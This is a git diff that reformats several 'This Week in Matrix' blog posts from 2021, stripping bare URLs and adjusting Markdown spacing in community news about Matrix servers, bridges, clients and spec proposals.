https://github.com/132ikl +> [@132ikl](https://github.com/132ikl) ## Dept of Ops 🛠 @@ -346,7 +324,7 @@ Hemppa the Bot is a multipurpose bot for writing modules super easily in Python. [Cos](https://matrix.to/#/@cos:hacklab.fi) offered: -> Hemppa the bot is a general purpose Matrix bot written in Python. This week it gained two useful admin tools: Kick by wildcard (for cleaning up zombies after bridge decomission) and making tombstones to point room to a new one. https://github.com/vranki/hemppa +> Hemppa the bot is a general purpose Matrix bot written in Python. This week it gained two useful admin tools: Kick by wildcard (for cleaning up zombies after bridge decomission) and making tombstones to point room to a new one. ## Dept of Interesting Projects 🛰️ @@ -362,9 +340,9 @@ Cadair, living in the north of England, will only see this symbol unfortunately [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) announced: -> The Project now has a proper webpage at https://serverstats.nordgedanken.dev/ ! +> The Project now has a proper webpage at ! > -> #### Newly added Features are: +> #### Newly added Features are > > * A List of all the rooms that are found > @@ -372,6 +350,7 @@ Cadair, living in the north of England, will only see this symbol unfortunately > * An FAQ with some information about the project, known data issues and more > > * A websocket at `wss://serverstats.nordgedanken.dev/ws` that allows you to get the updates directly pushed as soon as a room lands in the db. Effectively the fastest way to get data updates. +> > #### Planned features for the webpage > > * AR and VR Graphs @@ -385,11 +364,9 @@ Cadair, living in the north of England, will only see this symbol unfortunately > > #### Possible Bug that needs manual fixing > -> Due to a bug with my homeserver or synapse it happens for some rooms that synapse generates a lot of join events (Lots of "server_stats bot made no change" messages). If you see this please write a message to [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) so I can manually prevent my bot from trying to join the room over and over again as I cannot easily detect this kind of issue before joining. +> Due to a bug with my homeserver or synapse it happens for some rooms that synapse generates a lot of join events (Lots of "server_stats bot made no change" messages). If you see this please write a message to [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) so I can manually prevent my bot from trying to join the room over and over again as I cannot easily detect this kind of issue before joining. > -> The issue can be followed at https://github.com/matrix-org/synapse/issues/10021 - - +> The issue can be followed at ### midnight from cvwright @@ -398,17 +375,17 @@ Cadair, living in the north of England, will only see this symbol unfortunately > This might be of interest for TWIM. It's a little web app that supports token-based registration in the Matrix UIAA. > Sort of like matrix-registration, but aiming for compliance with the UIAA spec -https://github.com/KombuchaPrivacy/midnight + -## Dept of *Built on Matrix* 🏗️ +## Dept of _Built on Matrix_ 🏗️ ### Circles, new social network on top of Matrix [cvwright](https://matrix.to/#/@cvwright:matrix.org) offered: -> Circles is a new project to build an E2E encrypted social network on top of Matrix. -> https://www.kombuchaprivacy.com/circles/ -> https://www.kickstarter.com/projects/cvwright/circles-a-secure-social-app-for-friends-and-family +> Circles is a new project to build an E2E encrypted social network on top of Matrix. +> +> It's really early days for this project, but please check it out! @@ -416,7 +393,7 @@ It's really early days for this project, but please check it out! [farribeiro](https://matrix.to/#/@farribeiro:matrix.org) reported: -> The fedora project is discussing which domain to take in https://discussion.fedoraproject.org/t/so-what-domains-should-we-use-for-our-matrix-server/29842 +> The fedora project is discussing which domain to take in Un-burying the lede: Fedora are making the jump to Matrix! @@ -425,6 +402,7 @@ Un-burying the lede: Fedora are making the jump to Matrix! Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -441,6 +419,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|roeckx.be|1033| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/05/2021-05-28-this-week-in-matrix-2021-05-28.md b/content/blog/2021/05/2021-05-28-this-week-in-matrix-2021-05-28.md index f62324520..238429f08 100644 --- a/content/blog/2021/05/2021-05-28-this-week-in-matrix-2021-05-28.md +++ b/content/blog/2021/05/2021-05-28-this-week-in-matrix-2021-05-28.md @@ -17,7 +17,7 @@ image = "https://matrix.org/blog/img/2021-05-28-y-Bs5-image.png" {{ youtube_player(video_id="4vr9RRYNWWE") }}
    -A classic "Matthew & Amandine" episode. This week: Spaces, Reputation, Low-Bandwidth, +A classic "Matthew & Amandine" episode. This week: Spaces, Reputation, Low-Bandwidth, P2P & more! ## Dept of Spec 📜 @@ -26,8 +26,8 @@ P2P & more! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) gifted us with: -> Here's your weekly spec update! The heart of Matrix is the specification - and this -> is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this +> is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > ## MSC Status @@ -35,6 +35,7 @@ P2P & more! > Lots of new MSCs appearing this week! > > **New MSCs:** +> > * [[WIP] MSC3219: Space Flair](https://github.com/matrix-org/matrix-doc/pull/3219) > * [MSC3217: Soft kicks](https://github.com/matrix-org/matrix-doc/pull/3217) > * [MSC3216: Synchronized access control for Spaces](https://github.com/matrix-org/matrix-doc/pull/3216) @@ -42,24 +43,25 @@ P2P & more! > * [MSC3214: Allow overriding `m.room.power_levels` using `initial_state`](https://github.com/matrix-org/matrix-doc/pull/3214) > > **MSCs with proposed Final Comment Period:** +> > * *No MSCs entered proposed FCP state this week.* > > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* > > **Merged MSCs:** +> > * *No MSCs were merged this week.* > > ## Spec Updates > -> The Spec Core Team is working towards finalising the remaining spec PRs and the new +> The Spec Core Team is working towards finalising the remaining spec PRs and the new > spec release process. Good news is there's only [one final spec PR to go](https://github.com/matrix-org/matrix-doc/pull/2844)! Bad news is it's probably going to be one of the hardest :) > -> Otherwise the team was pleased to see that noticeable progress is being made on the +> Otherwise the team was pleased to see that noticeable progress is being made on the > MSC backlog. But that doesn't mean we get to rest on our laurels! - - ![2021-05-28-u8l6Y-stacked_area_chart.png](/blog/img/2021-05-28-u8l6Y-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -82,11 +84,10 @@ Synapse is a popular homeserver written in Python. > > Lastly, we're looking forward to the release of Synapse 1.35 which will bring significant improvements to memory use during room joins, but that's for next week. 😉 -A very warm welcome to all of our Outreachy interns and Google Summer of Code students -this year! You can see the full list of GSoC students in our [Google Summer of Code +A very warm welcome to all of our Outreachy interns and Google Summer of Code students +this year! You can see the full list of GSoC students in our [Google Summer of Code 2021](https://matrix.org/blog/2021/05/20/google-summer-of-code-2021) blogpost. - ### synapse-media-proxy [f0x](https://matrix.to/#/@f0x:pixie.town) announced: @@ -94,13 +95,13 @@ this year! You can see the full list of GSoC students in our [Google Summer of C > I've been working on a smart media worker/proxy, to offload initial spikes in traffic for homeservers behind slower network uplinks. > > There's a `` component that sits on a small vps, handling the upload and download endpoints (and soon, thumbnails), with an in-memory cache to quickly respond to requests. -> Media still gets forwarded to the `` component where it gets stored in Synapse's media folder with an accompanying database entry, so all media is still stored long-term in the way Synapse expects it to be, so the proxy can be removed at any point. +> Media still gets forwarded to the `` component where it gets stored in Synapse's media folder with an accompanying database entry, so all media is still stored long-term in the way Synapse expects it to be, so the proxy can be removed at any point. > > Currently not production ready but you're welcome to snoop around the repo :) > -> https://git.pixie.town/f0x/synapse-media-proxy +> -Seems like quite a useful project! Other adventures in splitting out the media +Seems like quite a useful project! Other adventures in splitting out the media server from the homeserver include TravisR's [matrix-media-repo project](https://github.com/turt2live/matrix-media-repo/). @@ -108,7 +109,7 @@ server from the homeserver include TravisR's [Conduit](https://serverstats.nordgedanken.dev) is a Matrix homeserver written in Rust. -[timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) reported the latest +[timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) reported the latest updates since last week: > * Feature: Implement /claim @@ -125,7 +126,7 @@ updates since last week: > * Fix: Forward errors from remote servers (e.g. unsupported room version) Timo also shared with us a milestone dashboard for Conduit being production-ready: -https://gitlab.com/famedly/conduit/-/milestones/3. It's exciting to see the +. It's exciting to see the multi-implementation Matrix homeserver landscape really beginning to take shape! ## Homeserver Deployment 📥️ @@ -181,22 +182,22 @@ it all together in such short notice. > > #### But that's not all > -> * Identd will now always provide a unique ident for everyone +> * Identd will now always provide a unique ident for everyone > -> * Improved detection for stalled connections -> * IRC user ghosting issues fixed for good 🤞 +> * Improved detection for stalled connections +> * IRC user ghosting issues fixed for good 🤞 > -> * Server TLS cert checking fixes, self-signed support -> * Initial bridge DM invites should go through more reliably +> * Server TLS cert checking fixes, self-signed support +> * Initial bridge DM invites should go through more reliably > -> * `QUIT` command to leave from all networks in one go -> * Automatic Docker Hub images from master (amd64 and arm64) +> * `QUIT` command to leave from all networks in one go +> * Automatic Docker Hub images from master (amd64 and arm64) > > In addition Heisenbridge is now featured on [matrix.org](https://matrix.org/bridges/#irc) 🥳 ### matrix-puppeteer-line Updates -[matrix-puppeteer-line](https://src.miscworks.net/fair/matrix-puppeteer-line) is a +[matrix-puppeteer-line](https://src.miscworks.net/fair/matrix-puppeteer-line) is a bridge for LINE Messenger based on running LINE's Chrome extension in Puppeteer. [Fair](https://matrix.to/#/@fair:miscworks.net) offered: @@ -221,15 +222,15 @@ bridge for LINE Messenger based on running LINE's Chrome extension in Puppeteer. > > * Support for multiple bridge users at once (A public instance of the bridge will only be considered once multi-user support is ready) > -> Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) +> Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) > -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> Issue page: ## Dept of Clients 📱 ### NeoChat Updates -[NeoChat](https://apps.kde.org/neochat/) is a Matrix client written using KDE +[NeoChat](https://apps.kde.org/neochat/) is a Matrix client written using KDE technologies, most notably the Kirigami UI framework. [Carl Schwan](https://matrix.to/#/@carl:kde.org) reported: @@ -250,8 +251,6 @@ technologies, most notably the Kirigami UI framework. > > * Nheko is now available on the Chocolatey package manager for Windows, yay! - - ![2021-05-28-GwdUf-clipboard.png](/blog/img/2021-05-28-GwdUf-clipboard.png) ### FluffyChat Updates @@ -289,7 +288,7 @@ technologies, most notably the Kirigami UI framework. ### Fractal Updates -[Fractal](https://wiki.gnome.org/Apps/Fractal) is a Matrix client written in Rust, and +[Fractal](https://wiki.gnome.org/Apps/Fractal) is a Matrix client written in Rust, and one of the first to use the [matrix-rust-sdk](https://github.com/matrix-org/matrix-rust-sdk)! [Alexandre Franke](https://matrix.to/#/@afranke:matrix.org) offered: @@ -302,41 +301,37 @@ one of the first to use the [matrix-rust-sdk](https://github.com/matrix-org/matr Crafted by the [Element](https://element.io) teams. + **Delight** +* Spaces: We’ve been listening to, investigating, triaging and organising feedback from the beta so far. There’s a lot to get through, but thanks to everyone who has submitted feedback in-app in Element so far! The insight has been invaluable and is instrumental in shaping up our next milestones. +* Papercuts: We’re also organising and fixing small issues throughout Element, biasing for highly visible issues which have the greatest impact and reach, affectionately titled ‘papercuts’. Expect more info on these soon, but for now a fun one to highlight is we’re implementing [blurhash](https://github.com/woltapp/blurhash) on Web & Android (with iOS to follow soon after) to improve previewing and viewing images, especially when on low bandwidth. - -* Spaces: We’ve been listening to, investigating, triaging and organising feedback from the beta so far. There’s a lot to get through, but thanks to everyone who has submitted feedback in-app in Element so far! The insight has been invaluable and is instrumental in shaping up our next milestones. -* Papercuts: We’re also organising and fixing small issues throughout Element, biasing for highly visible issues which have the greatest impact and reach, affectionately titled ‘papercuts’. Expect more info on these soon, but for now a fun one to highlight is we’re implementing [blurhash](https://github.com/woltapp/blurhash) on Web & Android (with iOS to follow soon after) to improve previewing and viewing images, especially when on low bandwidth. - + **Web** +* 1.7.29 released + * Improved startup performance by focusing decryption on recent rooms + * Fixed reaction duplication +* Sorting out why we sometimes see "[missing translations](https://github.com/vector-im/element-web/issues/9422#issuecomment-843366412)" hopefully for good this time +* Continuing to improve application performance +* Started work on Apple silicon desktop builds - -* 1.7.29 released - * Improved startup performance by focusing decryption on recent rooms - * Fixed reaction duplication -* Sorting out why we sometimes see "[missing translations](https://github.com/vector-im/element-web/issues/9422#issuecomment-843366412)" hopefully for good this time -* Continuing to improve application performance -* Started work on Apple silicon desktop builds - + **iOS** +* We continued to work on technical subjects: + * Stabilisation and performance improvements + * New logging system. It will be possible to disable all logs for MatrixSDK, MatrixKit and Element-iOS + * The code that manages application navigation in Element-iOS has been updated. It will allow us to add a slide menu to display things like user spaces. - -* We continued to work on technical subjects: - * Stabilisation and performance improvements - * New logging system. It will be possible to disable all logs for MatrixSDK, MatrixKit and Element-iOS - * The code that manages application navigation in Element-iOS has been updated. It will allow us to add a slide menu to display things like user spaces. - + **Android** - - -* Element Android 1.1.8 has been released on the beta track of the Google PlayStore. It will probably be pushed to production at the beginning of next week. The Android matrix SDK2 has also been released. -* This week, we implemented the ability to change the network when looking in the room directory. Also gitter.im has been added to the default network list. See some screenshots in [https://github.com/vector-im/element-android/pull/3419](https://github.com/vector-im/element-android/pull/3419) -* Lots of improvements regarding Spaces have also landed to develop. -* Besides that, we are still fixing issues and perform regular maintenance on the project +* Element Android 1.1.8 has been released on the beta track of the Google PlayStore. It will probably be pushed to production at the beginning of next week. The Android matrix SDK2 has also been released. +* This week, we implemented the ability to change the network when looking in the room directory. Also gitter.im has been added to the default network list. See some screenshots in [https://github.com/vector-im/element-android/pull/3419](https://github.com/vector-im/element-android/pull/3419) +* Lots of improvements regarding Spaces have also landed to develop. +* Besides that, we are still fixing issues and perform regular maintenance on the project ## Dept of SDKs and Frameworks 🧰 @@ -346,9 +341,9 @@ Crafted by the [Element](https://element.io) teams. > I forked [autodiscover-client-configuration](https://www.npmjs.com/package/@modular-matrix/autodiscover-client-configuration) to implement the Server-Server counterpart of getting the API endpoint from a server_name. > -> Package published on NPM: https://www.npmjs.com/package/@f0x52/autodiscover-server-configuration -> -> Repository: https://git.pixie.town/f0x/autodiscover-server-configuration.git +> Package published on NPM: +> +> Repository: ## Dept of Services 🚀 @@ -358,7 +353,7 @@ Crafted by the [Element](https://element.io) teams. > We are finally open for business. Start your own Matrix service today with GoMatrixHosting! > -> https://www.gomatrixhosting.com/2021/05/23/gomatrixhosting-is-here/ +> And quite soon after: @@ -368,13 +363,13 @@ And quite soon after: > * fixed AWX issue causing rust-synapse-compress-state section to not execute. > * added more reliable script method of generating the total room list. > -> Check us out on GitLab: https://gitlab.com/GoMatrixHosting/ +> Check us out on GitLab: > > Or come say hello at: [#general:gomatrixhosting.com](https://matrix.to/#/#general:gomatrixhosting.com) ### Cactus Comments 🌵 -[Cactus Comments](https://cactus.chat) is a federated comment system for the open web +[Cactus Comments](https://cactus.chat) is a federated comment system for the open web built on Matrix. [Asbjørn](https://matrix.to/#/@asbjorn:olli.ng) reported: @@ -394,7 +389,7 @@ built on Matrix. ### Beeper Update -[Beeper](https://www.beeper.com/) is a Matrix client and service that makes it easy to +[Beeper](https://www.beeper.com/) is a Matrix client and service that makes it easy to connect all your digital communications in one place. [Eric Migicovsky](https://matrix.to/#/@eric:beeper.com) told us: @@ -415,11 +410,9 @@ connect all your digital communications in one place. > > We are hiring React, iOS, Android and SRE/Devops engineers. If you're interested, send me a DM! 100% remote, we'll hire you anywhere you are. - - ![2021-05-28-y-Bs5-image.png](/blog/img/2021-05-28-y-Bs5-image.png) -Eric's Matrix ID is [@eric:beeper.com](https://matrix.to/#/@eric:beeper.com). Reach +Eric's Matrix ID is [@eric:beeper.com](https://matrix.to/#/@eric:beeper.com). Reach out if you're interested in getting involved! ## Dept of Bots 🤖 @@ -442,11 +435,11 @@ It's great to see people building useful tools to bridge the gap as Spaces inche > About a month ago I came up with the idea that it would be interesting to use Matrix as an API for a blog. Sometime later it turned out that it's possible, and one thing led to another, and now I have a blog hosted on Matrix 😃 > -> Long story short, the blog is a space and each post is a room within that space. This allows you to read the posts in your Matrix client of choice and also have discussions right underneath the content. +> Long story short, the blog is a space and each post is a room within that space. This allows you to read the posts in your Matrix client of choice and also have discussions right underneath the content. > -> You can read more details on how it's done on the blog itself (incl. links to ugly code on my Github): https://evolved.systems/hosting-a-blog-on-matrix/. If you want to chat about this, join [#blog:evolved.systems](https://matrix.to/#/#blog:evolved.systems) ! +> You can read more details on how it's done on the blog itself (incl. links to ugly code on my Github): . If you want to chat about this, join [#blog:evolved.systems](https://matrix.to/#/#blog:evolved.systems) ! -Longtime readers may remember Luke Barnard's take on the concept of Blogs built on +Longtime readers may remember Luke Barnard's take on the concept of Blogs built on Matrix back in 2019 with [Journal](https://lukebarnard.co.uk/blog/post/journal-is-deployed/). It's really exciting to see a modern version of this concept - and using Spaces no less! @@ -460,7 +453,7 @@ statistics about the Matrix network neatly catalogued and browsable. > #### Space List > -> The tool now has a separate list for rooms that are spaces at https://serverstats.nordgedanken.dev/spaces this allows you to find Spaces easily and fast :) +> The tool now has a separate list for rooms that are spaces at this allows you to find Spaces easily and fast :) > > #### Other Updates > @@ -468,11 +461,11 @@ statistics about the Matrix network neatly catalogued and browsable. > > * Safari should now also work after fixing a setting. > -> Check out the Source at: https://github.com/MTRNord/server_stats or join the room at #server_stats:nordgedanken.dev for questions :) +> Check out the Source at: or join the room at #server_stats:nordgedanken.dev for questions :) ### Circles -[Circles](https://kombuchaprivacy.com/circles/) markets itself as a private, +[Circles](https://kombuchaprivacy.com/circles/) markets itself as a private, end-to-end encrypted social network built on top of Matrix. [farribeiro](https://matrix.to/#/@farribeiro:matrix.org) announced: @@ -481,13 +474,13 @@ end-to-end encrypted social network built on top of Matrix. > > The Circles beta is open source > -> https://github.com/KombuchaPrivacy/circles-ios +> > > It's AGPL for now > > But automatically transitions to dual-license under AGPL / Apache 2.0 when 'Murica turns 250 years old. (July 4, 2026, for my international friends) -I love seeing Matrix projects dipping into the social networking sphere. It's an +I love seeing Matrix projects dipping into the social networking sphere. It's an untapped market! ## Dept of Ping 🏓 @@ -495,6 +488,7 @@ untapped market! Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -511,6 +505,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|3icn.net|1220| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/06/2021-06-04-this-week-in-matrix-2021-06-04.md b/content/blog/2021/06/2021-06-04-this-week-in-matrix-2021-06-04.md index a70038164..b9ad8b65f 100644 --- a/content/blog/2021/06/2021-06-04-this-week-in-matrix-2021-06-04.md +++ b/content/blog/2021/06/2021-06-04-this-week-in-matrix-2021-06-04.md @@ -28,13 +28,12 @@ Wired UK have published a feature on Matrix in their print edition this month. W [jfkimmes](https://matrix.to/#/@jfkimmes:matrix.org) shared: -> I just learned that in a poll of 89 universities in Germany, Matrix ranked third place in the chat category already. +> I just learned that in a poll of 89 universities in Germany, Matrix ranked third place in the chat category already. > -> The source is in only available in German, unfortunately: https://zenodo.org/record/4817795 +> The source is in only available in German, unfortunately: > > However, the conclusion list (first table) may be understandable from context. It lists the top three solutions per category with their respective number of universities using it. - [Oleg](https://matrix.to/#/@oleg:fiksel.info) clarified: > The evaluation was "which solution are you using". @@ -55,7 +54,7 @@ also [JCG](https://matrix.to/#/@jan.christian:gruenhage.xyz): [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) offered: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > #### MSC Status @@ -87,7 +86,6 @@ also [JCG](https://matrix.to/#/@jan.christian:gruenhage.xyz): > > And finally, work still continues on finishing up the technical portions of the new release process for the spec. As mentioned last week, we've attempted to split the work up over multiple people in order to get it done quicker. Slowly but surely... - ![2021-06-04-I-r8I-stacked_area_chart.png](/blog/img/2021-06-04-I-r8I-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -102,11 +100,10 @@ Synapse is a popular homeserver written in Python. > > * Synapse 1.35 [was released](https://matrix.org/blog/2021/06/01/synapse-1-35-0-released) this week! The Spaces flag is on by default, a bunch of bugs were fixed, and we've landed many of the prerequisites to eliminating RAM spikes on room joins. > -> * 📚 We have new docs! 📚 Anoa converted our docs to build with mdbook ([#10086](https://github.com/matrix-org/synapse/pull/10086)), and you can now browse them at https://matrix-org.github.io/synapse/! Check it out and let us know what you think. (Note: Not all of the pages have been converted from reStructuredText to Markdown yet, so some might render a bit strangely, but the structure is there!) +> * 📚 We have new docs! 📚 Anoa converted our docs to build with mdbook ([#10086](https://github.com/matrix-org/synapse/pull/10086)), and you can now browse them at ! Check it out and let us know what you think. (Note: Not all of the pages have been converted from reStructuredText to Markdown yet, so some might render a bit strangely, but the structure is there!) > > Catch you next Friday! 👋 - ![2021-06-04-bILM1-image.png](/blog/img/2021-06-04-bILM1-image.png) ### synapse-media-proxy @@ -118,7 +115,7 @@ Synapse is a popular homeserver written in Python. > > #### metrics > -> Got started implementing a Prometeus /metrics endpoint, with a [rudimentary Grafana dashboard](https://stats.pixie.town/d/rPBvoh6Gk/synapse-media-proxy?orgId=1) for my test installation. +> Got started implementing a Prometeus /metrics endpoint, with a [rudimentary Grafana dashboard](https://stats.pixie.town/d/rPBvoh6Gk/synapse-media-proxy?orgId=1) for my test installation. > > #### comparison with [matrix-media-repo](https://github.com/turt2live/matrix-media-repo/) > @@ -126,8 +123,6 @@ Synapse is a popular homeserver written in Python. > > [also](https://media.pixie.town/_matrix/media/r0/download/im_a/teapot) :P - - ![2021-06-04-WnfPb-image.png](/blog/img/2021-06-04-WnfPb-image.png) ## Homeserver Deployment 📥️ @@ -150,7 +145,7 @@ Synapse is a popular homeserver written in Python. ### Security release for the matrix-appservice-irc and matrix-appservice-bridge library -> Hello. This week we've released an update to the https://github.com/matrix-org/matrix-appservice-bridge/ library containing a security fix for room upgrade handling. The security report will come later, but for now we advise anyone using the room upgrade handler feature to upgrade to [2.6.1](https://github.com/matrix-org/matrix-appservice-bridge/releases/tag/2.6.1). By the same token, we would also advise _all_ IRC bridge admins to update their bridge to [0.26.1](https://github.com/matrix-org/matrix-appservice-irc/releases/tag/0.26.1). +> Hello. This week we've released an update to the library containing a security fix for room upgrade handling. The security report will come later, but for now we advise anyone using the room upgrade handler feature to upgrade to [2.6.1](https://github.com/matrix-org/matrix-appservice-bridge/releases/tag/2.6.1). By the same token, we would also advise *all* IRC bridge admins to update their bridge to [0.26.1](https://github.com/matrix-org/matrix-appservice-irc/releases/tag/0.26.1). ### The Libera.chat bridge is still ongoing @@ -165,14 +160,14 @@ Synapse is a popular homeserver written in Python. > * Send a bridge notice when getting unexpectedly logged out of LINE, to warn you to log in again. > * Improve resiliency of LINE user avatar syncing. > * Properly support syncing LINE rooms with participants who aren't in your LINE friends list (This was harder than it sounds...!) -> +> > These changes (and ones before it) will be merged to `master` once I reorganize some messy commits. -> +> > The next big task is still to fix outbound read receipts (i.e. to make it so that the bridge syncing a message doesn't make your > LINE contacts think you actually read that message). Once that is done, I'll consider the bridge to be in beta. -> +> > Discussion: > [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> Issue page: ## Dept of Clients 📱 @@ -194,13 +189,11 @@ Also, check out Matrix Live! [Carl Schwan](https://matrix.to/#/@carl:kde.org) announced: -> NeoChat 1.2, our third major release, was released this week bringing many improvements to the timeline and text input component. If you missed it, you can read the announcement here: https://carlschwan.eu/2021/06/01/neochat-1.2-bubbles-better-text-editing-and-more/ and we even have a nice release video :) https://www.youtube.com/watch?v=4lcH4tm6uTk +> NeoChat 1.2, our third major release, was released this week bringing many improvements to the timeline and text input component. If you missed it, you can read the announcement here: and we even have a nice release video :) {{ youtube_player(video_id="4lcH4tm6uTk") }} -> Other than that, we started working on an integration with KDE web shortcuts functionality to quickly search selected text on the web: https://invent.kde.org/network/neochat/-/merge_requests/279. - - +> Other than that, we started working on an integration with KDE web shortcuts functionality to quickly search selected text on the web: . ![2021-06-04-KGrID-image.png](/blog/img/2021-06-04-KGrID-image.png) @@ -226,47 +219,43 @@ Also, check out Matrix Live! Updates provided by the teams. + **Delight team** +* We’re continuing progress on implementing Blurhash on Web & Android to improve the image loading experience, especially on low bandwidth +* On Spaces, we’ve started working on the ability to drag and drop to re-order Spaces, along with improving adding aliases to public Spaces - -* We’re continuing progress on implementing Blurhash on Web & Android to improve the image loading experience, especially on low bandwidth -* On Spaces, we’ve started working on the ability to drag and drop to re-order Spaces, along with improving adding aliases to public Spaces - + **Web** +* 1.7.30 RC on staging + * Improved layout performance in the timeline and room list + * Refined the message action bar UI +* Continuing to improve application performance + * Recent focus on minimising browser layout work when things change + * Reducing DOM size +* Working on Apple silicon desktop builds - -* 1.7.30 RC on staging - * Improved layout performance in the timeline and room list - * Refined the message action bar UI -* Continuing to improve application performance - * Recent focus on minimising browser layout work when things change - * Reducing DOM size -* Working on Apple silicon desktop builds - + **iOS** +* [1.4.0](https://github.com/vector-im/element-ios/releases/tag/v1.4.0) is available on the public TestFlight. We expect to make it available on the App Store on Monday. It has: + * Performance improvements + * Crash fixes + * New languages: Esperanto, Portuguese (Brazil), Kabyle, Norwegian, Swedish, Japanese and Welsh. + * There are some API breaks in MatrixSDK due to those performance improvements. + * We have now a MXLog module with log levels! It is now possible to disable all logs from MatrixSDK +* We continued to work on performance and stability and will continue to for the coming sprint period: [https://github.com/vector-im/element-ios/milestone/55](https://github.com/vector-im/element-ios/milestone/55) - -* [1.4.0](https://github.com/vector-im/element-ios/releases/tag/v1.4.0) is available on the public TestFlight. We expect to make it available on the App Store on Monday. It has: - * Performance improvements - * Crash fixes - * New languages: Esperanto, Portuguese (Brazil), Kabyle, Norwegian, Swedish, Japanese and Welsh. - * There are some API breaks in MatrixSDK due to those performance improvements. - * We have now a MXLog module with log levels! It is now possible to disable all logs from MatrixSDK -* We continued to work on performance and stability and will continue to for the coming sprint period: [https://github.com/vector-im/element-ios/milestone/55](https://github.com/vector-im/element-ios/milestone/55) - + **Android** - - -* 1.1.8 has been released to production, and 1.1.9 has been released to beta on the PlayStore -* We are currently working with the design team on the light and dark theme of the application, especially colors and text appearance. Lots of cleanup to do... +* 1.1.8 has been released to production, and 1.1.9 has been released to beta on the PlayStore +* We are currently working with the design team on the light and dark theme of the application, especially colors and text appearance. Lots of cleanup to do... ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) announced: @@ -286,10 +275,10 @@ Talk to us on [#kazv:tusooa.xyz](https://matrix.to/#/#kazv:tusooa.xyz). #### Updates > I guess it's a long time from our last twim. Here's what is going on in that time: -> -> - We used fluent for translations. https://lily.kazv.moe/kazv/kazv/-/merge_requests/1 -> - We supported read and save client state. https://lily.kazv.moe/kazv/kazv/-/merge_requests/2 -> - A work-in-progress, but we are displaying some common event types; there are even chat bubbles (>w<) Check out a screenshot below: (yes, and we got a new logo) +> +> * We used fluent for translations. +> * We supported read and save client state. +> * A work-in-progress, but we are displaying some common event types; there are even chat bubbles (>w<) Check out a screenshot below: (yes, and we got a new logo) ![kavz](/blog/img/2021-06-04-kazv.png) @@ -307,8 +296,9 @@ Talk to us on [#kazv:tusooa.xyz](https://matrix.to/#/#kazv:tusooa.xyz). > > We are planing to do a virtual Dev Room this year. The idea is to exchange on the latest Matrix development and projects, get to know each other and drink `` (virtually) together. 😉 > -> #### To make it happen we need your help! -> #### Dev Room is living from talks and workshops - this is your chance to present your Matrix project or to do a workshop! +> #### To make it happen we need your help +> +> #### Dev Room is living from talks and workshops - this is your chance to present your Matrix project or to do a workshop > > Language: preferably German, but English is also ok > @@ -327,7 +317,8 @@ Talk to us on [#kazv:tusooa.xyz](https://matrix.to/#/#kazv:tusooa.xyz). > **We need your support in answering questions about Matrix or just to have a good time.** > > #### Get in touch -> #### If you want to take part please contact [@oleg:fiksel.info](https://matrix.to/#/@oleg:fiksel.info) (or oleg@fiksel.info) ASAP to add you to the Dev Room participants list. +> +> #### If you want to take part please contact [@oleg:fiksel.info](https://matrix.to/#/@oleg:fiksel.info) (or ) ASAP to add you to the Dev Room participants list > > BTW: we also have a [#FrOSCon:fiksel.info room](https://matrix.to/#/#FrOSCon:fiksel.info) @@ -343,8 +334,8 @@ Talk to us on [#kazv:tusooa.xyz](https://matrix.to/#/#kazv:tusooa.xyz). > * Made some progress toward supporting `m.video` messages > > * Experimented with using the [new iOS photo picker](https://developer.apple.com/videos/play/wwdc2020/10652/) to better protect users' privacy -> Homepage: https://kombuchaprivacy.com/circles/ -> Source code: https://github.com/KombuchaPrivacy/circles-ios +> Homepage: +> Source code: You can also [support circles 